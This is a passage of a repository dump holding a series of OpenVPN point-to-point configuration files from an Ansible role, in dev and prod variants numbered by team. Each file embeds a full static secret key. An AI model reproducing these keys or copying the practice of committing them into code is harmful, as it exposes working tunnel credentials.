27 | 2a3983bfb1aed79e0d011b33f7f9e9c5
28 | 837c049e9e19720392e3a7247b10550d
29 | b2f74a3b62f751c236d5a530534f5020
30 | 9e51875e3344e7050feb9f4187d305cb
31 | 5560773136e71b6feb96cbc51468c8b2
32 | 37f53b4a1fb89e7430d9197866550111
33 | 5f423476ffeb214a423c750a93df537b
34 | c61e6e257e20d1eddaf5db135cdb95c4
35 | 66649d6066b87e960d10a04cbba4c661
36 | b9bcfba73d9c9dd90b6eedafbab0a6e1
37 | 928d19ab9d4a6c710074b064bc8643fb
38 | 3be3fe11e14839ba6a33c066c995b939
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/512.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30512
3 | dev team512
4 | dev-type tun
5 | ifconfig 10.82.0.1 10.82.0.2
6 | route 10.62.0.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | ba1034f871dc41f88b9ea847ba392394
24 | 432b9cdac17a32dde6cba45dfa6d5c76
25 | 9c2e02c3bff1ac7f42ab6442267697f8
26 | 235d985f67efcfa8b2047872d208d6ff
27 | 6e3a8a8e30944833a69530b8ac3e9398
28 | e854deb7aa8d2c76b8cde1d7be797ec0
29 | b2da5d0721e815875ba0eafc301c8620
30 | a539eaefc88ac934e62f94ed36ae6000
31 | 26ce2917a3e2ac0e4b57fbf6a648719d
32 | 963d6d3ed5562a202df18e5c742c5661
33 | 0cbbd927bab690c63e604201ec7fe72b
34 | 8df9225d96b43d3472f6085c1e10e9f4
35 | 2f46486734af377828d79122d5f08237
36 | 0f36d706eba33a13033e86f2c3de0edf
37 | c8aeec43f1e94b084b7213c08222ecaa
38 | d57dcb9c5aea3b1c89cb463f440f1c0b
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/513.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30513
3 | dev team513
4 | dev-type tun
5 | ifconfig 10.82.1.1 10.82.1.2
6 | route 10.62.1.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | afda3e20e617d88061d82f4a7c3365b2
24 | da35334921e6a471fdaaf41e9d8acf97
25 | d806e2aec6b58ebeea40c49d68451aca
26 | 254ed8709369f1b55aaca7917c4f2f94
27 | ba9f78fcce5327f95a9bf437d0926764
28 | f104e9c547070029f6d4d0bdac775d98
29 | 57e6fcd4e4629724a9daedc13d95fffa
30 | af57f8dbd46727ce19847bc887d51db0
31 | 422932503f4f8d5792d4190e235c0ee2
32 | 0e487319e250a4ca51df7eda487c8f55
33 | 73c35a235e56c8de83439f7ca15ce524
34 | 6a1c3559bec5dc5165bae72876d10da1
35 | 8f1409fd191c6c105f0a495fe2f866f9
36 | 993514dce95950652f449215a19f03f0
37 | 3f6b7bb6a9f2124bc034313d1b9186df
38 | 6c210626a4542c568863d6f795720646
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/514.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30514
3 | dev team514
4 | dev-type tun
5 | ifconfig 10.82.2.1 10.82.2.2
6 | route 10.62.2.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 092ef43365be068465dee880db0322ea
24 | cc9429ec1d28be576ae5fafb38f660bb
25 | 7f098fe0c36841d169944f92554d9701
26 | 28f89d4dc93eaf14b05f3e6c3d872d90
27 | ab7b048db46ff6a63f9c631fa56e0a48
28 | c820dd6d48840d847c3b368dbcb13ae6
29 | 2f2ef505cd4b581909c6308d183cbbcf
30 | 941c088a2c3ef1b6449eaa1837797a3b
31 | e0d227afdaa4631b1c45ccb67d8b6868
32 | 4b808d0cdec099133f5f161de282e10e
33 | 7c286044eeeea776cb113754629e2056
34 | b1d2442b4cc4e44bcf1c0d3f0585dcc8
35 | eb0f362a15d240012345a5c89f74e277
36 | 74ad4aed4f0f49c239b0e50bf3d0d799
37 | a7947d844eee1b6c57a636fe6479ff6c
38 | 231037a99e6aff50fcb02eaa75725d7b
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/515.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30515
3 | dev team515
4 | dev-type tun
5 | ifconfig 10.82.3.1 10.82.3.2
6 | route 10.62.3.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 7b412a7cd49084833907d275ec80db33
24 | 300eeabf03235b0b564980c85c044319
25 | 895c0e669d12dfe477029f5d9c53923c
26 | 4bb4e897a398dbb1b21553d692bff29f
27 | 32956c3109c7f6cbf98c9df110360e92
28 | d82fc08f4ec9d072bbcd331048472f82
29 | 36b788b809a0a132fb00e4a7144c8730
30 | bbebd6c28786107a9eca95349cb95243
31 | dc95583abbc3509810cf15447a88ed64
32 | a036703603e87785be0e4affc131857a
33 | d818ef1d328f3133a079f18e74395099
34 | b0c8f6be3915a065d204af1d32c56664
35 | 2e2e3060a8761b2593593d2726a44f51
36 | 98b3c35f3461eea45b13b9f712c2413e
37 | 498b2fc867e4fbacf6e954b2ca70cea5
38 | ab7e7f4ac5518e3187cb1a2cd732415f
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/516.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30516
3 | dev team516
4 | dev-type tun
5 | ifconfig 10.82.4.1 10.82.4.2
6 | route 10.62.4.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 8fea770486c5c275daf08d3dca9249df
24 | 73636d4a0696cff0ca8339f056645bea
25 | afec0a7c07c1ccbc080f38e70639222f
26 | 18680e6d0acdaa2d2603747dcb34ad79
27 | 28ac10a1e71449b4ea9f27f02e182d39
28 | 6e25a71f47f4fcdbf4c50d1a3a76480d
29 | 323e41768279a777affe46156eb9c979
30 | 4502ecdf94aef7e0182532a0cdf71627
31 | 8cf95050d51ddafb24e646ca7809dfc1
32 | 61ac7812d279cfcd75bcce67b2474d55
33 | 745cf4113387433bf459d725655d92ae
34 | 7efa312c5ab650c259bf0a9b998eaf1a
35 | 211fd89d81581a4cfb7a3704c9cc537f
36 | fdd6942a8810607bd1c6356a1c0e10f5
37 | 798de1c9ff490160318a50d96ea4aa1a
38 | 1c1496398f23ae527d64d280ab4aab57
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/517.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30517
3 | dev team517
4 | dev-type tun
5 | ifconfig 10.82.5.1 10.82.5.2
6 | route 10.62.5.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 6fd9ba6b1262d031e58cf32d8f44899e
24 | d9aa211c5982b19467062af20236c0e7
25 | 66f937720eeb86481945bfd734731e25
26 | 665e93dedec3fb8ab3d38c951bcaac76
27 | f1b2c900ffa14ad7c45cece0976db300
28 | 8c4c09372c97b96189a7ff302377a894
29 | c6fdba0b0a84ddd59829de720f05f63b
30 | 9d5043df8d6e7854e247599a5572b12a
31 | 2bce1c49702bb23a5ede4daa86f43860
32 | e14e3640fc53fb730f36af0f819fb93d
33 | f26dbc0111535c70fef22f36addd394c
34 | 123d03e1b3463c6b24fe97a6ae57d642
35 | be2270c8b5ed54aceb3f91fd658d18c3
36 | fc45f3e6d60ad3b602b0df7e75f8522d
37 | 31448db1c8099c6cc1db4b19f1143749
38 | c87ccc0cb7313a55de7163eb4669cb90
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/518.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30518
3 | dev team518
4 | dev-type tun
5 | ifconfig 10.82.6.1 10.82.6.2
6 | route 10.62.6.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 83bf213296b39143c6c6237df40f3475
24 | 4786a728caf497b0515350a4a9ce2430
25 | 43b125adc1b39cd7155602b2fb253077
26 | 1159750faf7d1c0a1ecb01920b06833f
27 | 37d823871ffbc3c837e1b9008abb5d7f
28 | a3f3e3704d772c8836a0337cfb8dd5ca
29 | 9c86f60c0e4e7c575399fb4b3b32ab5f
30 | f1521544f2544f7857b14f1740ef4d33
31 | 484f28096820f9d3615166e97955b309
32 | bb3c21148fa8a9e6c8300d7c254b9c75
33 | 460a79bb6d018e14368b942079f29040
34 | fff83059a48131ed2d10e4ff36c84133
35 | f0505ad8a514d28e8e09c74824e412d0
36 | 4c3e1d39dd6331f19c5fb8bd4246b547
37 | 429899dcba61acc6f5826016916e2e63
38 | 0abce4b7ded70fdee9662f78dc695620
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/519.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30519
3 | dev team519
4 | dev-type tun
5 | ifconfig 10.82.7.1 10.82.7.2
6 | route 10.62.7.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 55e7f948ce8a1b063509410d6888f7ae
24 | 8be1c6bf660b5219b47f0536cf90563f
25 | a1b348c7c59026ee7bc2af11fcb85c1f
26 | 50906cabfaca5904bb4f065f266c8134
27 | f7b6b275e6cb2a775f87885980996ce7
28 | 2814efca8871fcb12ebe16972b12a6e1
29 | 5ed1bbae41a77328f6b00218e5bc1601
30 | 971337bf63c493ec1c08bec87c4fd016
31 | 9646831305c860c9944899144eb82b3f
32 | 086b83372108ca7fcbb88c62d4e222ea
33 | cfbb6d5d7e214bc59482aa96ba1ea9ee
34 | 99d55001df28095dc1f3df29785f37af
35 | b0ab0d1eab83c83738191cda922321c8
36 | 7dd27b5d60079820314966e413cee6da
37 | 4381dfcfc3fb211f293604f2f90f7391
38 | b2123fd84fb586630dec09f6f942534d
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/520.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30520
3 | dev team520
4 | dev-type tun
5 | ifconfig 10.82.8.1 10.82.8.2
6 | route 10.62.8.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 3a89694d8b035ade9eee6bb084160ac9
24 | f7b8f483f8fc2f9fd32a10aebcbb0a9b
25 | 63833e19baef386334eea0123c453cc2
26 | 171f9e846cb5b87e3d8c20667f8cb076
27 | 0ae84a85b3a8104baf5a60e98e79d2b1
28 | 9cf8ccb227e106403e2ec1e691c6a6cf
29 | 407bacd0cb1aa306e27a5ea079e4fec1
30 | 13dcd95e9d47066ec8d6b0bba14415b3
31 | d351ec88970de431cb4dfa0646d7a08d
32 | 988666d77ca5f120ee540c4b85c3086a
33 | 88bcd07981873cbea5db39c79fb09b65
34 | b785fa691f31d11f01ef8283e5aea48e
35 | c88cd3bca889132647f0fe727ceb897e
36 | 570a00bc2369a28347cf34ea031100b8
37 | a5226700e67aac5292833d97a5cf1ecb
38 | c4017a8ecedd5b29845490e7a62f9368
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/521.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30521
3 | dev team521
4 | dev-type tun
5 | ifconfig 10.82.9.1 10.82.9.2
6 | route 10.62.9.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 863f2a0da30db277067cc93bfc1456de
24 | d1b6842b72ce14d1d42330b06a625b6b
25 | 012cd03af1f7d10f813364dca06699dc
26 | 9bc6bc8e09366153d696db9fa6ddc10b
27 | ec265a8ec0cca9da1ec7907a23ce2f7e
28 | 7a761441b4ab83ec3b1fbf3ba6d210e1
29 | 1fa6e115e8ed24f3e5fbae13e6701493
30 | f088dc4190b8c14eff7096f2301141e3
31 | 1c4802aab179609b60c5a19610baf8aa
32 | 53ed1a7a044c0f483694c5f914c9e6d3
33 | dd0d539e2efcf808f4f07d53f187e3ac
34 | e3e874dba3864329e8138554c8aa3e13
35 | ff4f72ee3e4c6ef04998cdcd3c8980cc
36 | c7d7e1b644b366d07e06c146474909ef
37 | 98c7aae9ba867870413ee6d3d42bfac8
38 | 088a201bf8c48941ca2c6a92ea34e36f
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/6.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30006
3 | dev team6
4 | dev-type tun
5 | ifconfig 10.80.6.1 10.80.6.2
6 | route 10.60.6.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | b457db0fff2fa18b2ec02e5f418fb3db
24 | c33b639a3f2c34722add2218fab6a7a3
25 | 2d4b321c2d29fa4aa67b6dd7e332de6c
26 | 7222b77f65a91c1be3b6e36f07cc9b7e
27 | c12360e0b86caf961e244256b569468f
28 | 5009c400fb537a5b01f0253ec344f43b
29 | 37d94a722b2c98f0978fcb93e6b7eed7
30 | 08a87f5909d663faa3749e7f211def82
31 | b652dc92dab98c2e9d7ab1faf8be4d0e
32 | fc84608f7ac666af0d69bfe2958d239d
33 | 6509a5dc2a21b2f4c7759c4778059240
34 | d7cbc532ce8a5cbd3584cf6c03396c2e
35 | b4498647bb700d0e2b6ce85fafac39e5
36 | 8f9c8d77fcd3d41ef9fab9da2d8578fc
37 | 21071fe12a079691a91212d94067529e
38 | b2b052e0c90e4654cb8abd56508ed9c6
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/7.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30007
3 | dev team7
4 | dev-type tun
5 | ifconfig 10.80.7.1 10.80.7.2
6 | route 10.60.7.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | d0dd300df2624aa06e1023faac058543
24 | cf5bcac178cf96c16b8cc2528cca856c
25 | e88c45477d31b5f1b90d898dde58af17
26 | 4fda969b92ca7a1a328eaffe3ea8c6c7
27 | 1ccf878b568407c8eee69b0d053594e9
28 | 5b4ed0d92f77f2c1df3fb65fe670388c
29 | 9ce0c2cfeaf1524d260ca64f85ef79a2
30 | 287ca8159499abc7552f40e3482fa2bc
31 | 021ea845f69923747a05a7f2b3f28523
32 | adc02d34d8b0b68efdd009218f99c855
33 | c438bdf03962eef7a66116e0fda5d3e4
34 | 0bd6ef3aaed9d490cd5fd8eff0b5aa08
35 | d5b83466f13d2fad092851926f1043c5
36 | fe9b17f6fd5248ebf56bfee59b3d12a6
37 | 87d705eda2df499fa736f5e370af4af4
38 | 279705cabbe78dfc6f53da4fa0c95eee
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/8.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30008
3 | dev team8
4 | dev-type tun
5 | ifconfig 10.80.8.1 10.80.8.2
6 | route 10.60.8.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | f41c11852257a72645cd51d1c66158bf
24 | 320dbf549e0b501bf78310d56e695104
25 | 39b120900ffd4fe2ef1a4137f2a599ac
26 | 20d3815f72648434643bc36e2c313641
27 | 1b1a158e01cf91999129fcb761e1327e
28 | ed3623847b2bd914196e096807abfc79
29 | 557daca4799570ab6e99217c6b2c5175
30 | c6add7bdd2ddead3b11484dbaa62ffe3
31 | 1039a84beb193d3f99e3753b6f921d2a
32 | ee84c6f65b1508c5888b1238f79ca54e
33 | 0c145942c8ac5b847883803f433b6c5a
34 | c2abcc4938a467acc0bbac023257940e
35 | 56ef6db52c245d03896867ef232feb14
36 | d8789fc450c801bb363a10367b4fe684
37 | 8d71b9453327e081e925b5fa6caff485
38 | b239d9d43ab98892419fe7d5edcaae00
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/9.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30009
3 | dev team9
4 | dev-type tun
5 | ifconfig 10.80.9.1 10.80.9.2
6 | route 10.60.9.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | d5d3816a079247e4072f14efa2b39732
24 | 1d2dbea9410aae0e0c9a6da46fa5d183
25 | b8f2f00a11785a640b9ddc0a23dce1f6
26 | a83e82284afff244788793c5af29db5e
27 | 4c9b14235044ee71d6087682f5081d27
28 | 86113f169f818eb115890797e1e13d52
29 | e162fafc2e54b78e3a80ad7c912fc481
30 | beca489a2da6aa4d2302e6ed62ecc51c
31 | f7d85c1f503a5c12f414ee5315d81394
32 | fa4983c597f84897eb5f2768b1217ef4
33 | e018298220012a0c7df50e4cdae48251
34 | 0c1be3cf1e277bb895c29a05a78b834d
35 | 80a8a5fc570d2864dcd3b88955e5202f
36 | 9f9e8ddbf78991395f274797a9e91d46
37 | cf6125bbb0711c1df6e02b21a64f9538
38 | d910e27fdfa14afa2ae833c0d1f5c8e5
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/10.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30010
3 | dev team10
4 | dev-type tun
5 | ifconfig 10.80.10.1 10.80.10.2
6 | route 10.60.10.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | e9f69b6dd17421465168c374e395750b
23 | 932494d95cd365aa5873716b860cf519
24 | 0a3aff5ca7eb35c6aeb65b486869f4b0
25 | d24ccd9f8b35caf4e9c77f35e17f8d97
26 | fc0dfd6a4584eaaf81a8e409f8f36974
27 | 09cbe1c9c6a2c0161750f228e50e6da0
28 | f50779c529e118c3cb7379479b3a0aa8
29 | c11e71c92a5b1c43c1ebe0088a79a1d2
30 | 3b23927077535f3daa88f4c5e99c45fa
31 | 37bfb48ffceaa0ef1545c653966fcca8
32 | dadf7f24f332bf2eaa9e2dffa5765d60
33 | 891caad34b86ad830142c0ce0f81381d
34 | 3b15d518f715b33141cbba45c6491919
35 | 4a9011f8b900ea554d66c0ff4e800edf
36 | d105674925d92ab905dca27c7bca72f1
37 | 8ec9f1b441fefc2819541be548a1c68c
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/11.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30011
3 | dev team11
4 | dev-type tun
5 | ifconfig 10.80.11.1 10.80.11.2
6 | route 10.60.11.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 664cfdcd699769af86c6de0332044f2b
23 | a50acc56e84c6518dbf411049e152d25
24 | 7e501e9afffead65b0aa044bc580e3d0
25 | d105f24e1efd1b0d552535e66f540b64
26 | de0b94cd68bffee6b3295ff9e872aae9
27 | 840221164cba60486bfedc26e7ac1ee7
28 | dc6a58a136f8fc71fc65d9ba3417ec78
29 | bb21181bd10804cb11fae14d8940126f
30 | a5811808635717268b45e642ab94097c
31 | 53d6c850d453d0b2ef702733b6474b76
32 | 4c4428cc1c5c0bc85b948c1d86d2ff03
33 | 028f0a605da04f394e799e08ec1076a6
34 | 7f3e0e074483db2aaba523d5ba30029f
35 | 111802f9698b1350ce11b987e02a27eb
36 | 596d7efc520b990c6f3534947de7049b
37 | a9388e45eb26766852ae3163260dbbba
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/12.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30012
3 | dev team12
4 | dev-type tun
5 | ifconfig 10.80.12.1 10.80.12.2
6 | route 10.60.12.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 8df53ca4eadf9e3d4ac9dc622711f038
23 | 987cca2ce25a176b008cab31dec8b545
24 | 1290a72383438bc93e8632a95b0d65b0
25 | 823a8a06b88690c65e844e562a0fc485
26 | 89b73428c196f6af5192ee63633cb788
27 | cc622246f8a7d36b79b36cbab89bbf76
28 | 6065a7d41fc15753218e201b09f5ef9f
29 | 5f6746c9561184498e2765de52f4256c
30 | ffb4a4516b982159ff7c5a7e9a7652e3
31 | 930f5d73a77fb09df15705021dae646e
32 | 22ab3b1ce63e303df7a5cf64011f19b6
33 | e170d8ae4539c654364ec82eef41acff
34 | 5c5857e16a66da3804cb11312c4ce7c9
35 | eca0cc41d764032b75a30bf00cbe7040
36 | f13b32238739dad9c112fdf295cf441b
37 | 08424491206929c0507281f96c967a53
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/13.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30013
3 | dev team13
4 | dev-type tun
5 | ifconfig 10.80.13.1 10.80.13.2
6 | route 10.60.13.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 111c74aaa91b768727794572c2162323
23 | becab4d730e0ebda7b56b2aa44be829c
24 | 3304761b1b0688c32857d79b1f3c51d2
25 | f48921400641521e3ec45cae06527804
26 | a0635d05e07c563b60a9f46a589dd186
27 | cb824305c08f13d248546c5f6d8b6aae
28 | 59b7b3f85768637caf569bef36b4406a
29 | e95b6b75b48a8c4ca0b944aec1d553f9
30 | f1e95490be21a89fa07ecbc2824febc5
31 | af6caa670b17f746b4b30942be28e256
32 | e96d024e0be0a2fcac60f01b1a62d53b
33 | 8bc202e8e2f34fdb4bbaf111eb892856
34 | d814b271f894d0082093cde53477e15b
35 | 45775cc0a43213d3333ff351323c1846
36 | 485916ff984c7105cdfe361424bd5f16
37 | 44965a2c26cf3d16c5016ff7ec8dada5
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/14.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30014
3 | dev team14
4 | dev-type tun
5 | ifconfig 10.80.14.1 10.80.14.2
6 | route 10.60.14.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | a54a7a3dd1e03f135551ea06cd64df0b
23 | e8994c398fc71d68105621fe757eb4de
24 | 6be4f032b72b16a03de373e67a26c067
25 | 5355e66b47fcf9d2ced162a0c8f556e2
26 | 00cd96aa4ceed20461fa3a60c7ee8790
27 | 085750f5fcf4b93223f19194a8b2d1ec
28 | 60277acb9c701a89866be41ffb25e748
29 | d22218260dbb696cac6c08cf576a82e1
30 | 6d01cc8683ebc685e78b32480445da61
31 | 5746505a8f69fd573b25a12d587836d2
32 | 42074b18ab0a58f36ffe70fe32d5677e
33 | 18ae783781773b0bb02821d7389a9415
34 | b9d8a03f8da21ffd617d0404ecb08a94
35 | 692e6cc3c8b6d5d04ebc68aafaca5053
36 | 19a5fb9dad7240a8819258e170b88f4a
37 | 935e4f9750d3d8a17e3d8a5293a5e71c
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------